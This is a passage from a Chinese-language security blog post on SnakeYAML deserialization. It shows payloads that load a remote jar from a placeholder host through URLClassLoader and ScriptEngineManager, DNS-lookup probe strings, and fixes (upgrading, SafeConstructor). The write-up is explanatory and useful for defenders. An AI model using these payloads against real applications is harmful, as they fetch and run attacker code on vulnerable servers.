[!<tag:yaml.org,2002:java.net.URLClassLoader> [[!<tag:yaml.org,2002:java.net.URL>
["http://ip/yaml-payload.jar"]]]]
// 2 利用%TAG来申明一个TAG, 后续再调用!str的话就会自动把TAG前缀拼接补全
%TAG ! tag:yaml.org,2002:
---
!javax.script.ScriptEngineManager [!java.net.URLClassLoader [[!java.net.URL ["http://ip/yaml-payload.jar"]]]]

探测与修复

spi

参考Y4tacker师傅的文章,

原理是snakeYAML解析带键值对的集合的时候会对键调用hashCode方法,进而触发dns解析。

String payload = "{!!java.net.URL [\"dnslog\"]: 1}";
String poc = "key: [!!java.lang.String {}: 0, !!java.net.URL [null, \"[dnslog](dnslog)\"]: 1]";
key: [!!java.lang.String {}: 0, !!java.net.URL [null, "dnslog"]: 1]

修复

  1. 升级到snakeYAML2
  2. 手动调用SafeConstructor()
yaml = new Yaml(new SafeConstructor());
yaml.load(exp)

参考

https://www.leavesongs.com/PENETRATION/springboot-xml-beans-exploit-without-network.html

https://y4tacker.github.io/2022/02/08/year/2022/2/SnakeYAML

https://h3rmesk1t.github.io/2023/09/25/SnakeYaml/#%E6%A3%80%E6%B5%8B

My avatar

感谢阅读我的博客


More Posts

Comments